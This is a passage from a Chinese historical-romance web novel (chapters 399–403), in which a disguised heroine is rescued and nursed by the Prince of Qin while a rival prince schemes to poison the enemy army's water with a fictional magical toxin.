“呃……”本就不怎么会扯谎的年迈士兵顿显出一脸尴尬之色,心里一急,竟不知再如何回答。 这时,年轻士兵笑了笑,瞪着她轻蔑地道:“那不是水囊,是我偷偷用来喝酒的酒囊,不信的话,你可以亲自去尝尝看!” “对对对,是酒囊,是酒囊……”年迈士兵睁大了眼睛直勾勾紧紧盯視着那支瓶子附和地说着,同时悄悄附手上去将自己身上的水囊轻轻掩了掩。 然女子却依旧毫不放松,一手持大刀指着二人,另一手握着小瓷瓶,思量了片刻后,忽道:“是水是酒,我一闻便知。” 说着,便附手上去欲要掀开那瓷瓶的盖子来。 二人一见,遂异口同声地朝其大叫了一声: “不可以……” “不可以……” 继而,拔腿便朝其扑了上去欲要抢夺。 女子见势,眼珠子咕噜一转,灵光一闪,抬手指向俩人的后方,惊叫道:“西秦士兵。” “西秦士兵?” “西秦士兵?” 就在俩人闻风丧胆,惶恐万分地驻足下来与回头查看的瞬间,女子赶忙放下手中的大刀,神不知鬼不觉地一把掀开了小瓷瓶上的盖子来,将其缓缓靠近鼻翼小心翼翼地闻了一下。 似是并没有发觉什么?又借着一旁的篝火之光,将瓷瓶微微倾倒着仔细看了看,却是顿时紧紧地皱起了眉头来。 暗自思量了一瞬,甚为纳闷不解地低声喃喃道:“奇怪,这无色亦无味的液体,到底是什么东西?果真像极了日常里的饮水。可他们又为何要这般小心翼翼地护着。” 似是依然不肯放弃,她再次将其靠近鼻翼仔细闻了一次。 就在这时,她同许许多多人一样,因为在炙热的大漠中长时间缺水发生了最常见的生理反应,竟然不知不觉地流起了鼻血来。 一滴,两滴。 鲜红的血液,就这样往她手里握着的小瓷瓶里滴了两滴进去。 而那两名士兵回头迅速地查看了一番周围情况后,并未发现有任何异常,似是瞬间明白了过来。 面面相觑了一下,便急急转身回来惊看向女子的身上。 一见女子已然不出所料打开了那个装有剧毒的小瓷瓶,年迈士兵顿时嘴巴张的大大,整个人愣在原地里似是都惊呆了。 而年轻士兵则一边急急飞身过去,一边气急败坏地朝其大声惊吼道:“你在做什么?还不快还给我。” 霎那间,女子手里的瓷瓶便被那年轻士兵上来气势汹汹,大力地一把夺了过去。 女子煞是吃惊地问:“你这么紧张做什么?这里面装的到底是什么?” 年轻士兵狠狠瞪了她一眼,显然已懒得再搭理她。 兀自只弯腰下去拾起来女子脚下的两把俩人的佩刀,将其中一把明晃晃的刀尖指向女子的鼻子,没好气地道:“我警告你,以后少多管闲事。” 继而冷冷对其哼了一声后,便回去紧忙熄灭篝火,收拾行装,准备离开。 而年迈士兵亦一边跟过去帮忙,一边心事重重却始终坚持着回答她道:“不是早都跟你说了么,这只是普通的水而已,你又何必如此多疑?” 这时,女子方才似是转移了注意力抿了抿自己干干的嘴唇,却忽感觉到鼻子似是有些异样。 便轻轻吸了两下,又附手上去用自己轻柔的指腹轻轻一探,这才看到自己不知何时竟然流起了鼻血来。 于是,便忙掏出帕子来背过身去将其擦拭干净。 半晌后,稍一回神顿时双眼怔了一下,继而急急在身上到处摸索了起来,嘴里念道:“我的兵符,兵符呢……” “你们有没有见到一……”顿一回首,却见身后早已是空荡荡的一片大漠,那一老一少俩士兵已然早就消失不见了踪影。 无奈,只得借着微弱的一片月光,自己赶忙到处摸索寻找了起来。 不知过了多久,双手终于在黄沙里摸到了铜片触感的物件,一把捞出来一看,顿时将其紧紧握在手心里,置于胸口处,眼里竟激动地噙满了泪水。 口中一遍又一遍地低声喃喃重复道:“太好了,真是太好了,幸好还在,幸好还在……” 片刻后,缓缓起身来深吸一口气,凝视着眼前漆黑的茫茫大漠,愣愣的吐出道:“这是哪儿啊?我该朝哪里走呢?” 大漠里的夏夜,前半夜似火炉,下半夜如寒冬,这种感受只有亲自体验过才懂。 独自不知在漆黑的夜里走了多久,她早已是又冷,又饿,又渴。 一次次跌倒,又一次次爬起。脚下的路,明明就很吃力,他却觉得自己的脚好轻好轻。 已然是精疲力尽,似是随时都有可能永远倒下去,再也醒不来一般。 只有口中一直不曾放弃,断断续续地念叨着:“二皇子,二皇子,天马兵符,天马兵符……” 直到天边露出了一抹白,她却已是趴在高高的沙丘上再也动弹不了。 就在她此时的眼前,无垠的大漠中远远地现出来一弯泉水,四周皆是连绵起伏的沙山,只有它碧绿如玉。 忽然,前方隐隐现出了一队人影来。 “是什么人在那里?” 说着,便一个个都持剑朝她冲了过来,瞬间将她团团包围住。 她盯着他们一双双明亮的眼睛,他们也盯着她。她一动不动。 耳边顿时传来似是从很远很远的地方所飘出来的七嘴八舌的声音。 “姑娘醒醒,姑娘醒醒,你这是怎么了?” “你是什么人,在这里做什么?” “她一定是快要渴死了,快点喂些水给她。” …… 不一会儿,便感觉似是有人在将她沉重的身子扶起来。 终于,有一股股清泉流入到她干涸的体内,她也终于慢慢地恢复了意识。 她这才看清楚,此时出现在自己面前的这些最可爱的人身上,他们统一的衣着俱都印着“西秦”二字。 她颤颤巍巍,似是眼中都噙着泪水激动不已地道:“你们是...你们是西秦国的士兵?” 看到她终于醒了过来,这些大漠中最可爱的人,一个个脸上俱都扬起了似是这世间最灿烂温暖的笑容来。 这时,其中一名似是其头领的皮肤黝黑的士兵方才开口问:“姑娘,你叫什么名字?怎么会一个人在这里?” “我,我是衣......”一时激动,话到了嘴边却终是咽了下去,另又道:“我叫乌乐,是这大草原上一个普通的牧民,昨日不小心遭遇到了龙卷风后被刮到了这里,迷路了。” 终于再次见到了故乡的人,她却不能以自己的真实身份示人,却依然喜极而泣地答道。 就在这时,旁边另一士兵惊叫道:“姑娘,你受伤了!” 天一亮,她这才发现自己竟是满身的伤痕累累。 正在端详着身上道道瘆人的伤痕,那士兵头领暗自一想,道:“这里距离我西秦军营不远,不如姑娘跟我们回去,让军医帮姑娘瞧瞧伤势,歇一歇再另作打算,如何?” “西秦军营?” 闻声,她的心里顿时一惊,继而激动地道:“大哥的意思是不是说,秦王殿下,他也在附近?” “是啊!这场大战幸亏了殿下的英明睿智,方才能进行地这么顺利。眼看着,大战马上就要结束了。”那士兵头领欣喜地道。 “我,我身为一个女子,到军营里,怕是有诸多不便吧?” 她自是有些顾忌的,其实,她也说不清楚,怕见到轩辕翰,又是那样渴望见到他。自己到底已经有多久没见他了? 而即便真的见到了他,又能怎样呢?只不过是徒增伤感一缕罢了。 好不容易平静下来的心情,再一次激起了涟漪…… 正在思量着,那侍卫头领替其宽心道:“姑娘多虑了,尽管放心跟我们走便是,绝对不会有人为难姑娘的。” “我……” 似是还在犹豫中,却已经被人倏的一下硬是背了起来,在一众人的左拥右护中兀自直往西秦大军的营帐里奔去…… 第四百章:你到底是谁? 正午时分,西秦军营里。 程良刚一迈入到轩辕翰的大帐内,轩辕翰便放下了手里的兵书,沉声问道:“还没有查到她的消息吗?” 程良摇摇头,内心焦急却又无奈地说:“衣姑娘就像是从人间蒸发了一样,我们的人到处都找遍了,依然丝毫没有她的半点儿消息。” “就连大漠里也找过了?”轩辕翰抱着最后一丁点儿希望问。 “刚刚派出去寻找的人传回来消息说,依然没有任何发现,已经全部都在往回赶的途中了。”虽不忍心,亦只能据实低声禀报。 刚一说完,又记起了一事,接着继续禀报道:“不过,消息中说他们在返回的途中,遇到了一位被龙卷风袭击流落至大漠上的牧民女子。因为迷路又受了很严重的伤,所以便将其一并带回了军营来疗伤。” 轩辕翰眉头微蹙,低眼默想了会儿,谨慎地问:“确定那女子只是一名普通牧民吗?” 程良稍一思量,道:“可以肯定。” 轩辕翰道:“那就好,大战越是到了最后,便越是要小心谨慎。” “属下明白。”程良拱手道。 心里似是一直隐隐有一种错觉,思量再三终于还是开了口,说道:“殿下,会不会是拓跋泽根本就没有将衣姑娘带回北烈来。而是,将她仍然隐藏在我西秦内亦或者把她送到了其他什么我们所想不到的地方?” 轩辕翰舒了口气,缓缓起身来,踱步至大帐中央的沙盘旁边,看着如今北烈国已经大半为西秦所有的区域,道:“程良,你记不记得前段日子我们所遇到的那位来军营里找我们换取粮食的牧民大婶?” 程良稍一回想,说道:“当然记得,那位大婶说是想给一位救命恩人做一餐喜欢的饭菜,说她吃不惯这草原上的食物,瘦的都快要皮包骨头了。殿下听了,不但没有收她用来做交换的那只羊,还赠送了她许多米粮呢!可属下不明白,这与衣姑娘又有什么关系呢?” “你有没有想过,她所说的那个救命恩人是个什么样的人?会这般不习惯北烈国的饮食。” 听了轩辕翰的话,程良顿时醒悟过来:“属下明白了,殿下的意思是说,那位大婶的救命恩人,他极有可能是我西秦人。” 轩辕翰补道:“不仅如此,而且那个人很有可能是一名女子。” “对呀,若是男子的话,为了活命绝对不会这般挑剔。只可惜那位大婶始终都不愿意透露她的姓名,住址。否则,我们一定可以打探到更多的消息。”程良遗憾地道。 “你看这是什么?”轩辕翰一边说,一边从身上掏出一个布袋来。 程良将其接过去迅速打开来一看,吃惊地道:“银针?” 说着从里面拔了一根出来,捏在手里仔细地端详了一番,道:“这种银针属下知道,是出自我西秦国的,殿下从军医那里拿银针来做什么?” “这包银针,并不是本王从军医那里拿来的,而是当日的那位大婶临走时不小心落下的。”轩辕翰吸了口气,道。 程良心下里一想,说:“如此说来,这很有可能便就是那位大婶口中所说的那位救命恩人落下的东西。想她随时带在身上,是想找机会还给那位姑娘。” 然轩辕翰却是多日以来始终都百思不得其解:“其实,本王心里一直都隐隐觉得,这包银针似乎在哪里见过?可一时半会儿,又实在是想不起来了。” 就在俩人正沉思之际,大帐外忽然传来了一阵急促的脚步声与叫喊声:“军医呢,军医呢,军医快过来看看这位姑娘!” 闻声,俩人急急回过神来四目相对了一瞬,便一起踱步奔出了大帐。 远远地,只见那刚刚踏入军营来的士兵头领亲自背着一个似是已经昏迷了的女子。 程良一见,忙疾步上前去查问:“发生了什么事?” 士兵头领在身边一众人等的帮忙下,一边小心翼翼的将女子放下来,一边着急地道:“将军,这便是之前跟您禀报过的我们在大漠里所遇到的那名迷了路又受了伤的女子。” 程良放眼朝女子一看,顿时被其一副惨相惊呆了。 那女子低低垂着头,满身伤痕累累,炎炎夏日,衣衫上道道破碎的痕迹至今尚还渗着鲜血。 愣了一下,程良忙回过神来摆了摆手,大声催促正疾跑赶来的军医:“军医,快!” 军医顿时以自己最快的速度赶到了女子身边,一见女子已然昏厥,情况危急,遂把完了脉便忙吩咐身后与其一道赶来的救护人员道:“赶快把担架抬过来,将这位姑娘放上去让她平躺好,马上送到阴凉的帐篷里去,快!” 就在这时,女子的正脸方才被人抬起转了过来。程良一扫到那张似曾相识的面孔,顿时朝其瞪大了眼睛惊呆了,嘴里愣愣地道:“殿下,殿下快过来看看!” 闻声,一直双手负后着立身于众人外面,远远看着眼前所发生的一切的轩辕翰眼睛顿时一怔,举步上前。 霎时间,围成一圈的士兵们相继纷纷避身让开了一条道来。 轩辕翰一近身过去见到那女子的面容,顿时愣住。 只觉心中一痛,宛若刀尖猛地一触心口,万千思绪,波涛汹涌,激荡在心头,却无处可去,只紧紧地咬住了牙关,似是在极力隐忍着。 一遍又一遍地默问自己:“天呢,这到底是怎么回事?她是,她是……” 已然说不出话来。 忽然间,发生了让在场所有人都惊的目瞪口呆的一幕。 只见轩辕翰忽的弯腰下去,亲自伸出双手将那担架上一身狼狈的女子捞起横抱了起来,继而倏的转身后,便径自朝自己宽敞明亮又舒适的大帐内阔步而去。 直到空气中飘过来一冷冷的催促声道:“军医,还不快随本王进来。”众人方才俱都缓缓清醒过来。 军医一听到在召唤自己,忙起身拎起药箱,跌跌撞撞地跟了上去。 大帐内。 不知过了多久,军医一边悄悄地用衣袖擦拭着满头大汗,一边拎着药箱从屏风后面缓缓走了出来。 “如何?”轩辕翰余光一瞥见有人先出来在撤走屏风,便就问道。 老军医疾步近身过去后,满脸庆幸地道:“殿下放心,这位姑娘她只是置身于大漠中的时间太久,虚脱了而已,并无大碍。身上的伤也幸好都只是一些皮外伤,已经涂抹了药膏,很快便会好的。” 军医一禀报完,轩辕翰便朝其扬了扬手,示意退下。 这时,一直都心情忐忑,默默站在其身旁,大气都不敢喘一声的程良方才远远地看了一眼床榻上女子安静的脸,又回头看向主子,纳闷极了地低声问了句:“殿下,这名女子,怎么那么像衣姑娘!可她脸上,怎么又会没有红色胎记呢?” 轩辕翰此时表面上看起来脸色凉凉,一脸平静。然心里却是波涛汹涌,五味杂陈着。 他并没有回答程良的疑问,而是自顾缓缓一步一步向着床榻边走了过去。 立在榻边,讷讷地凝视着榻上沉睡的人儿,端详了她许久许久,终是眉头深锁着,不得半分解。 为什么她的气息会如此熟悉? 她的眉毛,她的眼睛,她的鼻子,她柔软的唇,她的每一根头发里所散发出来的气息,他明明就是那般的熟悉,可为什么独独她的脸…… 就在这时,女子的额头忽然渗出了许多密密的细汗。 轩辕翰急急扫了一眼周围,忙抬脚过去拿起案几上的一块儿柔软的白布巾,撩起袍角上前在榻边坐了下来,轻轻柔柔地替其将滴滴香汗缓缓抹去。 隔着柔软的布巾,真真切切地触到了她温热细腻的肌肤。 一寸寸,轻轻划过…… 这一切,全都是那样熟悉的似是不能再熟悉。 “你到底是谁?你是她吗?你真的是她吗?你终于感受到本王在心底对你深切的呼唤了,是不是?所以,你才会回来,回到本王身边来,对不对?” 就在他正在心中默念,渐渐沉迷于这种熟悉的触感中时,忽听得女子发出来断断续续几声似是梦魇一般的惊慌声音来。 “殿下,殿下” “兵符,兵符” “大皇子,大皇子” “母亲,母亲” “殿下的孩子,殿下的孩子,殿下已经要有孩子了” …… 忽然,她猛地伸起双手紧紧将轩辕翰拿着布巾的那只骨节分明的大手握住。 轩辕翰的手不禁顿时一抖,这才惊醒过来,遂停下了手里的动作,怔怔望着她的脸。 而这时,女子的双手却又随之缓缓落了下去,嘴里又喃喃念了起来,道:“水,水,水……” 轩辕翰紧紧盯視着女子的脸,直朝身后急吼了一声:“程良!” 闻声,程良慌忙从一旁倒了一碗热水,疾步上前递了上去。 轩辕翰将女子的身子微微抬起,紧靠在自己滚烫的胸膛。 又将茶碗里热气腾腾的水汽吹了一次又一次,最后自己亲自轻轻抿了一小口,确定温度适中,方才小心翼翼地送到其嘴边,倾倒了下去让她吞咽。 岂料女子还是瞬间被呛到,紧咳了起来…… 心里一急,轩辕翰竟自己端起茶碗来噙了一口水,俯身下去嘴对嘴喂了起来…… 第四百零一章:最远的距离 见状,显然顿时措手不及的程良急急将脸避了过去,兀自脚步轻轻地踱出了门。 就这样重复着折腾了大半天,半碗水方才喂完,榻上的人儿亦终于安静地睡了过去。 轩辕翰端坐在榻边,满眼心疼地凝视着榻上人儿的道道伤痕,喃喃自语道:“你究竟都发生了些什么?怎么会变成现在这个样子?” 直至夜幕降临,有风从外面吹进,熄灭了烛火。 大帐内反倒不怎么觉得昏暗,一轮皎洁的月色倾泻而入,恰恰映照在榻上女子的脸上,瞬间越发显得肤色苍白。 轩辕翰这才缓过了神来,看到俩人之间的距离是那么近,近得他一伸手就可以触碰到她。 可距离又这么远…… 怔了一下,缓缓起身来最后替其仔细地捻好被角,走出了大帐。 看到主子已然似是将其当做了衣上云,竟做出那般亲密的动作来。 程良见其一踱步出来,心下里犹豫了下,忍不住还是疾步上前去问:“殿下方才的举动,莫不是认为那女子真的是衣姑娘?” 岂料轩辕翰竟只顿足下来神色阴沉地掠了他一眼,却什么都没说,又继续往前走去。 程良顿时止住步,望着他缓缓踱步前行的背影,嘴巴张张合合,欲言又止,到最后终是半晌都无任何声音再发出来。 轩辕翰自是已经预感到了他的惊讶,自顾走到一条小湖边后停了下来,双手负后着遥望向湖对岸远方那连绵起伏的山影,舒了口气,道:“本王也不知道。” 顿了顿定了定神,冷冷地又道:“本王只是一看到她们一模一样的脸,尤其是她的满身伤痕,自己也不知道为什么竟会忽然如此失控。本王当时一见到她,甚至都能想象到在四海茶庄里,她被拓跋泽......” 说着说着,一只愤怒极了的拳头在黑夜里遂紧紧握起,直咯咯作响…… 云卷云舒,又是新的一天来临。 帐篷外,碧空万里,绿草接天,阳光明媚。白色的羊群、黑色的骏马,如散落的珍珠一般点缀在绿绒地毯上。 草原上的风夹杂着花草香吹了进来,拂过榻上沉睡着的胜雪白衣人儿的身子。 榻边,只有一个孤零零的身影一夜未眠,始终都不离不弃地相伴着。 清晨的阳光,斜斜打了进来,俩人被一片绚烂至极的华光环绕,闪闪发亮。 终于,榻上的人儿在这美好的清晨里,缓缓地睁开了那双世间独一无二的好看凤眸来。 却是一瞥见榻边正端坐在自己眼前,两眼怔怔盯视着自己的那个她心里碎碎念了无数个日日夜夜,这一生,熟悉的不能再熟悉,期待的不能再期待的冰冷脸孔,顿时看直了眼睛惊呆了。 “醒啦?” 直到轩辕翰终于冷冷地发出一低沉的声音来,衣上云方才忽一个激灵,眨了下眼睛,慢慢坐起身来。 “嘶”仿佛身上的伤痛依旧还在,她不禁吃痛地深深倒抽了口气。 轩辕翰身子一震,正欲伸手上去扶,却是刚一抬起又缓缓放了下来。 继而睨了她一眼,告诫道:“这里的天气太热,你身上的伤没那么快愈合,还得再多忍耐些日子。” “是你...不,是秦王殿下救了我?”然衣上云却并未理会他所说的自己身上的伤,等到终于收拾好了心情,只自顾低声地问。 轩辕翰听了,正望向一旁的眼睛顿时收回朝其一怔,激动地惊问道:“你怎么知道是本王?...你...你真的是她?” 衣上云顿觉心跳加速,意识到自己失了言,竟忘记在他的面前,自己早已经是一个死人了。 遂眼神慌乱地急急躲闪过那双朝自己射来的噬人冷眸,很快转口故作淡然地说:“如今在北烈国到处都在盛传秦王的大名,又有谁会不知呢?!” 轩辕翰刚刚燃起的一丝希望果然瞬间被其浇灭,失望地缓缓收回视线去轻叹了口气,沉默了会儿,问:“那你又是谁?” “我,我叫乌乐。”衣上云脱口便出。 “乌乐?” 轩辕翰默默地重复了一遍,遂缓缓起身来双手负后着走到一旁窗口望向外面天空中飘浮着的朵朵白云,眨了眨眼睛,一脸悠长的说:“你很像一个人……” 果然是避无可避,心中一直所担心的事情终于还是发生了。 为免被继续怀疑,衣上云不得不追随他的思绪,故作一无所知地轻轻问:“我?像一个人?不知她是秦王殿下的……” “她是本王这辈子一个很重要,最重要的人,与你长的几乎一模一样。” 说着,不禁又回头瞥了她一眼,很快又收回视线去继续道:“因为她,本王才觉得自己也是一个有七情六欲的凡人,因为她,本王才知道什么叫做爱,因为她,本王便彻底再也不是以前的那个本王了……” “如此重要的一个人,那她现在在哪儿呢?是不是...已经是秦王的枕边人了?”衣上云倚在榻边,继续按照常理佯装着问。 许久,似是极痛苦的在隐忍着的样子,轩辕翰紧紧咬着牙关,竟忽然苦笑了一声,无奈地说:“本王也是多么希望如你所想的那样。可本王...却没能保护好她,让她被人……” 听着耳旁轩辕翰所发出来的饱含深情又伤感至极的声音,衣上云痴痴地凝视着他宽阔坚实,却依旧显得是那样孤独的背影,一种从未有过现在这般苦涩的滋味涌上心头。 世界上最远的距离莫过于此。 那个彼此曾经山盟海誓,唇齿深深纠缠过的人,此刻就站在你的面前,你却不敢对他说:殿下,是我,我是云儿,我就是云儿。 她只能在自己的心里默默地苦道:“殿下,谢谢你这辈子能如此记着云儿,云儿知足了。是云儿对不起你,云儿绝对不能成为你的牵绊。殿下就快要做父亲了,只有尊贵如秦王妃那般的女子才配的上殿下这样的身份。今生今世,殿下与云儿之间,纵是情深,奈何缘浅,但是云儿此生……不悔……相思。” 眉眼间的痛楚仍在,面上却是带着一抹浅浅的笑。忽然间,就连不知不觉早已噙满的泪水悄悄滑落颊畔亦不自知。 轩辕翰说完,不经意地忽一回头瞥见,吃惊地问:“你怎么哭了?” 衣上云这才急急回过神来,一边胡乱一通地抹着泪珠,一边扯谎道:“我,我是,我只是被风眯了眼睛而已。我想,若是那位姑娘泉下有知,知道殿下是这般地将她铭记于心,一定会含笑九泉的。” 轩辕翰心里顿时一惊跳,问:“你怎么知道她已经死了?” 衣上云心头突地一跳,忙低头下去,似是再无勇气抬头。 稍时对其吞吞吐吐地道:“我...我...我是猜的,难道不是吗?” 轩辕翰怔望着她许久许久,方才缓缓转回过了身去。 心里叹道:是啊!这一生,幸福曾经离他是那么地近,但终究还是错过了。 “不行,我得赶快想办法离开这里,若是再继续这样下去,我一定会控制不住自己的。” 一念至此,衣上云忙赶在他再次开口之前,一把掀开了被子,欲要起身来。 “你要做什么?”轩辕翰听到身后的人儿发出的动静,不解地问。 衣上云一边强撑着股力气下榻来,一边向其解释道:“多谢秦王殿下的救命之恩,日后我一定会报答殿下的。可眼下,我真的有非常非常重要的事情急着要去办,必须得赶快离开了。若是晚了,怕就……” 她当然不能对他说,她现在着急地要去做的事情,很有可能是对西秦大军极为不利的事,所以最后悄悄地敛了声。 “有什么事,此刻能比自己的命还要重要吗?”轩辕翰皱了皱眉,背对着她厉声道。 衣上云现出一脸难色地说:“这件事,这件事...秦王殿下就不要问了,总之是一件很重要很重要的事。况且,因为那个卑鄙无耻小人的阻拦与突然而至的龙卷风的影响,已经耽搁了好几日了,所以我必须赶快走才行。” 躲在屏风后面一边更衣,说完这段话便走了出来。 轩辕翰转身怔望向那般固执又熟悉的一张脸,显然与衣上云一模一样,一种错觉不禁再次油然而生。 于是,开口还想再劝:“可你的伤还……”,却被她云淡风轻地笑着打断:“呵呵,普通人家的女儿,哪儿有那么精贵,我皮糙肉厚,这点小伤不碍事的。” “你要去哪儿?本王让人护送你去。”轩辕翰冷声道。 衣上云听了愣了一下,道:“我要去的地方,可是北烈国的腹地,秦王殿下的人,怕是没那么容易混进去,还是算了吧!” 就在这时,程良在帐外大声疾呼:“殿下,有紧急军情。” “殿下还是赶快忙自己正事的好。”衣上云朝帐外瞥了一眼,回头含笑道。 “那你自己路上多加小心。”顿了顿,一说完,轩辕翰便大步踏出了大帐。 “殿下...珍重!”看着其离去的背影,衣上云蹙眉心疼地低声喃喃了句。 久久怔在原地里一动不动,心中柔情顿时翻滚起来,思绪万千…… 不知过了多久,忽一醒过来不经意地瞥见案边放着一个熟悉的布袋,便疾步过去将其拿起翻来翻去地打量了许久。 惊诧地自言自语道:“咦,这不是我的银针袋吗?怎么会在这里?” 稍一思索,便将其一起带着,踱步走出了大帐…… 第四百零二章:瞒天过海 天空中,一抹残阳如暗红的血液般刺眼地照射在广袤的草原一处。 白日的一场激战过后,血雾漫天,尸横遍野,满目苍痍,遍地狼烟,鲜血染红了大地。 风,无情地刮着,却久久都不能将其中那浓郁的血腥味吹散去半分。 已经过去的近一百个日日夜夜里,拓跋宏都是如同此刻这样,站在血泊中眼睁睁看着那一个个方才还都活蹦乱跳,鲜活的生命,与他一道并肩作战的将士们只不过须臾,便都一个个倒下,死去。 亦或忍受不了重伤所带给他们身体上的痛苦和折磨,最终自己结束掉生命,心痛至极却又无可奈何。 为什么?为什么这个世上会有‘战争’这两个字,为什么它会如此残忍?剥夺带走这么多无辜人的性命。 而如今,他已然终于活成了那个自己一直以来最讨厌的人。 他甚至开始怀疑,是不是每个人最终都会成为这样的自己?如果真是这样,那生命还有什么意义? 战争,使他的双手沾满了鲜血。而这血,却并不是他往日里所熟悉的救人的血,而是生命与生命之间相互残杀,以谁先剥夺了他人生命存在的权利为胜利与荣耀。 曾经只会用这灵敏的双手来治病救人,如今却是用它高高举起手里的刀剑来准确判断,向人们身体的致命位置上冷血地刺去。 拓跋宏愣愣地立着,看看眼前触目惊心的一地悲壮,再垂首怔望向自己此时所展开来的颤颤抖动着的双手,眼里噙满了泪水,双肩不停地颤抖。 最终,再也忍不住悲恸,怒发冲冠地仰天爆发出一声撕心裂肺的呐喊声来:“啊……” 这阵呐喊,足以令地动山摇,江河变色…… 直到第二日,一轮壮美的日出再次升了起来,方才独自一人满腹心事,步履沉重地回到了营地。 忽地抬头一看,却见拓跋泽正鬼鬼祟祟,行色匆匆地跨下马来。 于是,便咬牙疾步上前去对其怒气冲冲地质问道:“一大早,你这是打哪儿才回来?你可知道,昨日一战,我军又是全军覆没。” 拓跋泽一对上拓跋宏对自己射来的冷厉质疑的眼神,方才一开始尚还有那么一点点极不容易被人发觉的躲闪的眼神,瞬间散去。 反而朝其逼身上去似是比他更加理直气壮,冷冷地瞪视着他的眼睛漫不经心地缓缓说了句:“全军覆没,关我何事?” 拓跋宏顿时对其所做出的回应又惊又气,道:“死了这么多人,你竟似是根本就无动于衷。昨日之战,我找了你那么久,你到底干什么去了?” 拓跋泽顿收回视线,侧过身去舒了口气,自顾只云淡风轻地道:“既然我的提议你不予以采纳,那又找我做甚?你且按照自己的部署去试试看啊!” 拓跋宏顿时紧紧皱起眉头来,惊望向他的脸:“试试看?这可是战争,一场大战要付出多少无辜的性命,你竟然能说出试试看的话来?这是能试试看的事吗?你……” 拓跋泽冷声顿时将其截住,道:“我早就说过了,西秦这次来势汹汹,对我北烈一定势在必得。为今之计,只有利用天马兵符来调动我北烈的所有武装,或许还能搏一搏。否则,就只有等死。” “你是不是...回去找过父王要天马兵符了?”拓跋宏稍一思索,忽然明白过来朝其惊问道。 拓跋泽心里顿时咯噔一下,朝其怔了一瞬,看了他一眼,眼光转开又看向另一边空处,道:“没有,我只是出去透透气。天马兵符那般重要的东西,父王怎么可能会将它给我?” 说着,转而看向他,一副怪异的表情道:“就算是给,怕也是只会给你吧?” 就在拓跋宏心里正暗暗生疑时,拓跋泽反将了他一军试探着道。 果然,拓跋宏霎时心虚,语气变得缓和了些许下来,却仍是带着气道:“我早就与你说过,我绝对不会接受父王的旨意做这草原的下一代王的。这次之所以答应你来战场,也只是想帮你逼退西秦大军。这片草原,最终只会是你一个人的,你就不要再多想了。等大战结束后,我陪父王走过他最后的这段日子,便会永远离开北烈,这辈子再也不见你。” 看着拓跋泽的侧脸,隐忍着内心的满腹伤痛说完这段话顿了顿,吸了口气又振作起来道:“说正事吧,接下来我们到底该怎么办?” 拓跋泽轻蔑地笑了一声,心里暗暗道:“早就知道你是不撞南墙不死心,经过昨日故意让你放手一战,看来你是终于被打醒了。哼,就凭你这样的窝囊废,扶不起的阿斗,你哪一点能和我比,竟想跟我斗?” 于是,开口严肃地说道:“如果你怕问父王要天马兵符,会让他对目前的战事心生怀疑而惶惶不安的话,那就用我原来的最后一个绝对万无一失的计划……” 拓跋泽话刚开口,拓跋宏便坚决地将其打断:“不可以,这样会死很多无辜的百姓。” “可那些都只不过是一众微不足道的贱民而已,死不足惜。”拓跋泽紧接着狠狠地瞪着他道。 拓跋宏亦悲愤又态度坚决地道:“就算是贱民,那也是我北烈国的贱民,谁都不能剥夺他们的生命。只要有我在,你休想。” 俩人顿时间又四目相对怒视着对方,不可开交地争执在了一起…… 最后,拓跋泽盯着他深深地看了一眼,转过视线又冷笑了几声,恨恨道:“哼,那你就等着亡国,等死吧。本以为你能来帮我,岂料尽是帮了倒忙,真是狗改不了吃屎,死都不知道悔改。” 猛地一甩袖子,便转身兀自气冲冲地踱步向着自己的大帐而去。 对于目前轩辕翰已经完全死死地将北烈国所形成的包围局势,兄弟俩已然焦头烂额,对突围之法毫无举措。 过去的每一场部战,始终皆都如方才的这般,俩人都是各执己见,毫无共通的可能。 如果动用了父王给他的天马兵符,父王势必一定会知道战事堪忧,他的病情已然承受不了这个事实。 倘若在这个节骨眼上,北烈国再逢大丧,势必会影响到全军的士气,更是让敌人有了趁虚而入的机会。 再者,若是让拓跋泽知道了父王已经传位于他,以他那脾性,拓跋泽定不会善罢甘休,天知道他会做出怎样冲动的事来逼迫父王? 而父王已然是即便死,也不愿意将草原交给拓跋泽。 拓跋宏更是不知,拓跋泽究竟是从哪儿得来的那些稀奇古怪又甚是阴险狠绝,俱都无解的毒药。 “擒贼先擒王”自从探到了秦王轩辕翰所在的营地后,为了不费一兵一卒,便可让其所在的那支西秦军队中毒而亡,拓跋泽竟不惜想下剧毒污染与其一道的周围所有牧民的饮用水。 据拓跋泽亲口所说,那毒名曰“水精灵”,是一种无色无味状如水的液体,只需要一小瓷瓶的剂量,便可使方圆几十里的饮用水全都被染剧毒。 而只要轻抿一小口含有这种水精灵的水,便会在一柱香的时辰后,那人全身顿如火灼一般,直至肉体发生自燃,痛不欲生至死。 思及这一切,拓跋宏怔望着其离去的背影,现出了一脸的忧郁…… 拓跋泽一进入大帐,便将两手猛拍在位于大帐中央的案几上,气急败坏地嘴里自言自语道:“怎么会这样?为什么会这样?那个该死的老头,还有那个蠢笨至极的女人……” 说着,忽地一把将整张案几都大力地掀翻在地:“噼里啪啦……” 闻声,吓得刚进门来的一老一少两名士兵顿时停下了脚步,朝着地面上的一片狼藉怔愣住。 “叫你们办的事都办得如何了?”拓跋泽气势汹汹的一撇见两人进来,便朝其厉声喝问道。 一老一少两名士兵,这才忙回过神来上前朝齐抱拳行礼禀告起来。 “启禀大皇子,属下们都已经按照大皇子的吩咐将剧毒撒入到了那秦王轩辕翰所饮用的水源里。相信今日便能看到那支西秦军队一定会尸横遍野。到时候我们便由此而杀出去,来个反包围,杀个西秦大军措手不及,全军覆灭。再趁机南下直捣西秦皇城,取下那璟帝的项上人头,以此来祭奠在这场大战之中死伤的无数我北烈将士的亡灵。” 拓跋泽似是对那年轻士兵的这番颇为慷慨激昂的话甚为满意,大声赞叹道:“事办的好,话说得更好,赏,重重有赏。” “谢大皇子赏赐。”年轻士兵欣喜的道,年迈士兵虽也附和着,却是面上皮笑肉不笑,虽亲手下毒的不是自己,却也是为自己无力阻挠这场人祸而心里尽是满腹深重的罪恶感。 “秦王轩辕翰,毛儿都尚还未长全,竟敢跑来我北烈国的国土上撒野。这次,本皇子倒是想看看,你还怎么跟本皇子斗?哈哈哈哈哈...哈哈哈哈哈……” 说完,拓跋泽竟已经乐的哈哈大笑了起来。那笑声响亮的程度,似是欲要传遍整个草原一般。 第四百零三章:情乱 草原上。 清澈的一片星空上,忽然划过了一颗最亮的流星,拓跋宏却丝毫未察觉到。 他正席地躺在位于军营附近的一个小山坡上,望着手里握着的那个装有尚还余下的半粒还魂丹的朱红色匣子发呆,似是仍还对其琢磨不透着。 